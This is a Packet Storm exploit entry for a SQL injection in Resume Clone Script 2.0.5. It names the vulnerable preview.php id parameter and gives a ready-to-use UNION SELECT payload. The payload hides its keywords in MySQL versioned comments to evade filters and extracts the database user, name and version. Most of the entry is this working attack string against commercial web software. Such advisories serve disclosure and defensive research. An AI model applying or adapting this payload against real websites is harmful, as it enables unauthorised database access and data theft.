Resume Clone Script 2.0.5 SQL Injection

2017-12-12T00:00:00
ID PACKETSTORM:145353
Type packetstorm
Reporter Ihsan Sencan
Modified 2017-12-12T00:00:00

Description

                                        
                                            `# # # # #   
# Exploit Title: Resume Clone Script 2.0.5 - SQL Injection  
# Dork: N/A  
# Date: 10.12.2017  
# Vendor Homepage: https://www.phpscriptsmall.com/  
# Software Link: https://www.phpscriptsmall.com/product/resume-builder-script/  
# Version: 2.0.5  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)  
# http://localhost/[PATH]/preview.php?id=[SQL]  
#   
# -2++/*!08888UNION*/(/*!08888SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x28313129,0x28313229,0x28313329,0x28313429)--+-  
#   
#   
# # # # #  
  
`